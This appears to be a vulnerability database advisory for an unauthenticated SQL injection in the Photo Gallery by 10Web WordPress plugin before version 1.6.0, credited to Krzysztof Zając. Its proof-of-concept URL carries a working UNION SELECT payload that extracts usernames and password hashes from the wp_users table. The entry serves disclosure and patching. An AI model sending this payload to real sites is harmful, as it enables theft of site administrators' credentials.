WordPress Plugin Vulnerabilities
Photo Gallery by 10Web < 1.6.0 - Unauthenticated SQL Injection
Description
The plugin does not validate and escape the bwg_tag_id_bwg_thumbnails_0 parameter before using it in a SQL statement via the bwg_frontend_data AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL injection
Proof of Concept
https://example.com/wp-admin/admin-ajax.php?action=bwg_frontend_data&shortcode_id=1&bwg_tag_id_bwg_thumbnails_0[]=)%22%20union%20select%201,2,3,4,5,6,7,concat(user_login,%200x2c,%20user_pass),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20wp_users%20--%20g
Affects Plugins
Fixed in version 1.6.0
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-02-15 (about 7 months ago)
Added
2022-02-15 (about 7 months ago)
Last Updated
2022-04-08 (about 5 months ago)